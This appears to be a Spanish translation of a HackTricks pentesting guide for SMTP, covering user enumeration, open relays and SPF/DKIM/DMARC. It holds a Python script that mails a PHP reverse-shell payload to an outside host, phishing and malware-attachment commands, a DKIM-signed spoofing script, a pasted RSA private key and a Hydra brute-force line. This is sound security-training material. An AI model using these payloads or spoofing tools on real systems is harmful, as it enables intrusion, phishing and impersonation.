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hacktricks/network-services-pentesting/pentesting-smtp
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Translator 6d74343780 Translated ['network-services-pentesting/11211-memcache/README.md', 'net
2024-02-09 08:54:51 +00:00
..
README.md Translated ['network-services-pentesting/11211-memcache/README.md', 'net 2024-02-09 08:54:51 +00:00
smtp-commands.md Translated ['network-services-pentesting/11211-memcache/README.md', 'net 2024-02-09 08:54:51 +00:00

README.md

25,465,587 - Pentesting SMTP/s

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Configuración disponible al instante para evaluación de vulnerabilidades y pentesting. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.

{% embed url="https://pentest-tools.com/" %}

Información Básica

El Protocolo Simple de Transferencia de Correo (SMTP) es un protocolo utilizado dentro de la suite TCP/IP para el envío y recepción de correos electrónicos. Debido a sus limitaciones en la cola de mensajes en el extremo del destinatario, SMTP se emplea a menudo junto con POP3 o IMAP. Estos protocolos adicionales permiten a los usuarios almacenar mensajes en un buzón de servidor y descargarlos periódicamente.

En la práctica, es común que los programas de correo electrónico utilicen SMTP para enviar correos electrónicos, mientras que utilizan POP3 o IMAP para recibirlos. En sistemas basados en Unix, sendmail destaca como el servidor SMTP más utilizado para fines de correo electrónico. El paquete comercial conocido como Sendmail incluye un servidor POP3. Además, Microsoft Exchange proporciona un servidor SMTP y ofrece la opción de incluir soporte POP3.

Puerto predeterminado: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Cabeceras de Correo Electrónico

Si tienes la oportunidad de hacer que la víctima te envíe un correo electrónico (a través del formulario de contacto de la página web, por ejemplo), hazlo porque podrías aprender sobre la topología interna de la víctima al ver las cabeceras del correo.

También puedes obtener un correo electrónico de un servidor SMTP intentando enviar a ese servidor un correo electrónico a una dirección inexistente (porque el servidor enviará al atacante un correo NDN). Pero asegúrate de enviar el correo desde una dirección permitida (verifica la política SPF) y de que puedas recibir mensajes NDN.

También deberías intentar enviar diferentes contenidos porque puedes encontrar información más interesante en las cabeceras como: X-Virus-Scanned: by av.domain.com
Deberías enviar el archivo de prueba EICAR.
Detectar el AV puede permitirte explotar vulnerabilidades conocidas.

Acciones Básicas

Obtención de Banner/Conexión Básica

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Encontrar servidores MX de una organización

dig +short mx google.com

Enumeración

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgación de información

Si el servidor admite la autenticación NTLM (Windows) puedes obtener información sensible (versiones). Más información aquí.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

O automatizar esto con el plugin nmap smtp-ntlm-info.nse

Nombre del servidor interno - Divulgación de información

Algunos servidores SMTP completan automáticamente la dirección del remitente cuando se emite el comando "MAIL FROM" sin una dirección completa, revelando su nombre interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Verifique si puede detectar alguna contraseña de los paquetes al puerto 25

Ataque de fuerza bruta de autenticación

Enumeración de Fuerza Bruta de Nombre de Usuario

La autenticación no siempre es necesaria

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

La orden VRFY se utiliza para verificar si una dirección de correo electrónico es válida en un servidor SMTP.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

El comando EXPN se utiliza para expandir una lista de correo en un servidor SMTP. Esto puede revelar direcciones de correo electrónico válidas que pueden ser útiles para un atacante en una campaña de phishing. Es importante tener en cuenta que muchos servidores SMTP están configurados para deshabilitar este comando debido a preocupaciones de privacidad y seguridad.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Herramientas automáticas

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo adicional para profundizar, abrir shells y divertirse.

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Informes de DSN

Informes de Notificación de Estado de Entrega: Si envía un correo electrónico a una organización a una dirección no válida, la organización le notificará que la dirección fue invalidada enviando un correo de vuelta a usted. Los encabezados del correo devuelto contendrán información sensible posible (como la dirección IP de los servicios de correo que interactuaron con los informes o información sobre el software antivirus).

Comandos

Enviar un correo electrónico desde la consola de Linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Enviando un correo electrónico con Python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Contramedidas contra el Spoofing de Correo

Las organizaciones evitan que se envíen correos electrónicos no autorizados en su nombre empleando SPF, DKIM y DMARC debido a la facilidad de falsificación de mensajes SMTP.

Una guía completa sobre estas contramedidas está disponible en https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} SPF fue "obsoleto" en 2014. Esto significa que en lugar de crear un registro TXT en _spf.domain.com, se crea en domain.com utilizando la misma sintaxis.
Además, para reutilizar registros SPF anteriores, es bastante común encontrar algo como "v=spf1 include:_spf.google.com ~all" {% endhint %}

Sender Policy Framework (SPF) es un mecanismo que permite a los Agentes de Transferencia de Correo (MTAs) verificar si un host que envía un correo electrónico está autorizado consultando una lista de servidores de correo autorizados definidos por las organizaciones. Esta lista, que especifica direcciones IP/rangos, dominios y otras entidades autorizadas para enviar correos electrónicos en nombre de un nombre de dominio, incluye varios "Mecanismos" en el registro SPF.

Mecanismos

De Wikipedia:

Mecanismo Descripción
ALL Siempre coincide; se utiliza para un resultado predeterminado como -all para todas las IP que no coinciden con los mecanismos anteriores.
A Si el nombre de dominio tiene un registro de dirección (A o AAAA) que se puede resolver a la dirección del remitente, coincidirá.
IP4 Si el remitente está en un rango de direcciones IPv4 dado, coincide.
IP6 Si el remitente está en un rango de direcciones IPv6 dado, coincide.
MX Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio).
PTR Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado hacia adelante), coincide. Se desaconseja este mecanismo y se debe evitar, si es posible.
EXISTS Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (independientemente de la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje macro SPF, ofrece coincidencias más complejas como consultas DNSBL.
INCLUDE Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección.
REDIRECT

Una redirección es un apuntador a otro nombre de dominio que aloja una política SPF, permite que varios dominios compartan la misma política SPF. Es útil al trabajar con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.

Se usará la política SPF del dominio indicado en el Mecanismo de redirección.

También es posible identificar Cualificadores que indican qué hacer si se cumple un mecanismo. Por defecto, se utiliza el cualificador "+" (por lo que si se cumple algún mecanismo, se permite).
Normalmente se nota al final de cada política SPF algo como: ~all o -all. Esto se utiliza para indicar que si el remitente no coincide con ninguna política SPF, se debe etiquetar el correo como no confiable (~) o rechazar (-) el correo.

Cualificadores

Cada mecanismo dentro de la política puede ir precedido por uno de cuatro cualificadores para definir el resultado previsto:

  • +: Corresponde a un resultado de APROBADO. Por defecto, los mecanismos asumen este cualificador, haciendo que +mx sea equivalente a mx.
  • ?: Representa un resultado NEUTRAL, tratado de manera similar a NINGUNO (sin política específica).
  • ~: Indica SOFTFAIL, sirviendo como un punto intermedio entre NEUTRAL y FALLA. Los correos que cumplan con este resultado generalmente son aceptados pero marcados en consecuencia.
  • -: Indica FALLA, sugiriendo que el correo electrónico debe ser rechazado directamente.

En el siguiente ejemplo, se ilustra la política SPF de google.com. Observa la inclusión de políticas SPF de diferentes dominios dentro de la primera política SPF:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradicionalmente era posible falsificar cualquier nombre de dominio que no tuviera un registro SPF correcto o no tuviera ninguno. Hoy en día, si un correo electrónico proviene de un dominio sin un registro SPF válido, probablemente será rechazado/marcado como no confiable automáticamente.

Para verificar el SPF de un dominio, puedes utilizar herramientas en línea como: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM se utiliza para firmar correos electrónicos salientes, lo que permite su validación por Agentes de Transferencia de Correo (MTAs) externos a través de la recuperación de la clave pública del dominio desde DNS. Esta clave pública se encuentra en el registro TXT de un dominio. Para acceder a esta clave, es necesario conocer tanto el selector como el nombre de dominio.

Por ejemplo, para solicitar la clave, el nombre de dominio y el selector son esenciales. Estos se pueden encontrar en el encabezado del correo DKIM-Signature, por ejemplo, d=gmail.com;s=20120113.

Un comando para obtener esta información podría ser:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC mejora la seguridad del correo electrónico basándose en los protocolos SPF y DKIM. Describe políticas que guían a los servidores de correo en el manejo de correos electrónicos de un dominio específico, incluyendo cómo tratar las fallas de autenticación y dónde enviar informes sobre las acciones de procesamiento de correos electrónicos.

Para obtener el registro DMARC, necesitas consultar el subdominio _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Etiquetas DMARC

Nombre de la etiqueta Propósito Ejemplo
v Versión del protocolo v=DMARC1
pct Porcentaje de mensajes sujetos a filtrado pct=20
ruf URI de informes forenses ruf=mailto:authfail@example.com
rua URI de informes agregados rua=mailto:aggrep@example.com
p Política para el dominio organizacional p=quarantine
sp Política para subdominios del DO sp=reject
adkim Modo de alineación para DKIM adkim=s
aspf Modo de alineación para SPF aspf=r

¿Qué pasa con los subdominios?

Desde aquí.
Necesitas tener registros SPF separados para cada subdominio desde el cual desees enviar correos.
Lo siguiente fue publicado originalmente en openspf.org, que solía ser un gran recurso para este tipo de información.

La Pregunta del Demonio: ¿Qué pasa con los subdominios?

Si recibo un correo de pielovers.demon.co.uk, y no hay datos SPF para pielovers, ¿debería retroceder un nivel y probar SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podría tener su propia política. No tendría sentido que la política de Demon se aplique a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio.

Por lo tanto, el consejo para los editores de SPF es el siguiente: deberías agregar un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX.

Los sitios con registros A o MX comodín también deberían tener un registro SPF comodín, de la forma: * IN TXT "v=spf1 -all"

Esto tiene sentido: un subdominio bien podría estar en una ubicación geográfica diferente y tener una definición SPF muy diferente.

Relevo Abierto

Cuando se envían correos electrónicos, es crucial asegurarse de que no sean marcados como spam. Esto se logra a menudo mediante el uso de un servidor de retransmisión que es confiable para el destinatario. Sin embargo, un desafío común es que los administradores podrían no estar completamente al tanto de qué rangos de IP son seguros de permitir. Esta falta de comprensión puede llevar a errores en la configuración del servidor SMTP, un riesgo identificado con frecuencia en evaluaciones de seguridad.

Una solución temporal que algunos administradores utilizan para evitar problemas de entrega de correo, especialmente en comunicaciones con clientes potenciales o en curso, es permitir conexiones desde cualquier dirección IP. Esto se logra configurando el parámetro mynetworks del servidor SMTP para aceptar todas las direcciones IP, como se muestra a continuación:

mynetworks = 0.0.0.0/0

Para verificar si un servidor de correo es un relay abierto (lo que significa que podría reenviar correos electrónicos desde cualquier fuente externa), se suele utilizar la herramienta nmap. Incluye un script específico diseñado para probar esto. El comando para realizar un escaneo detallado en un servidor (por ejemplo, con la IP 10.10.10.10) en el puerto 25 usando nmap es:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Herramientas

Enviar Correo Electrónico Falsificado

O puedes utilizar una herramienta:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Si obtienes algún error al usar la librería dkim de Python al analizar la clave, siéntete libre de usar la siguiente.
NOTA: Esto es solo una solución temporal para realizar comprobaciones rápidas en casos donde por alguna razón la clave privada de openssl no puede ser analizada por dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

O puedes hacerlo manualmente:

{% tabs %} {% tab title="PHP" %}

# Esto enviará un mensaje no firmado
mail("tu_correo@gmail.com", "¡Asunto de prueba!", "¡Hola! Esto es una prueba", "De: administrador@victima.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Más información

Encuentra más información sobre estas protecciones en https://seanthegeek.net/459/demystifying-dmarc/

Otros indicadores de phishing

  • Antigüedad del dominio
  • Enlaces que apuntan a direcciones IP
  • Técnicas de manipulación de enlaces
  • Archivos adjuntos sospechosos (poco comunes)
  • Contenido de correo electrónico roto
  • Valores utilizados diferentes a los de los encabezados del correo
  • Existencia de un certificado SSL válido y confiable
  • Envío de la página a sitios de filtrado de contenido web

Extracción a través de SMTP

Si puedes enviar datos a través de SMTP lee esto.

Archivo de configuración

Postfix

Por lo general, si está instalado, en /etc/postfix/master.cf contiene scripts para ejecutar cuando, por ejemplo, un nuevo correo es recibido por un usuario. Por ejemplo, la línea flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering se ejecutará si un nuevo correo es recibido por el usuario mark.

Otros archivos de configuración:

sendmail.cf
submit.cf

Referencias

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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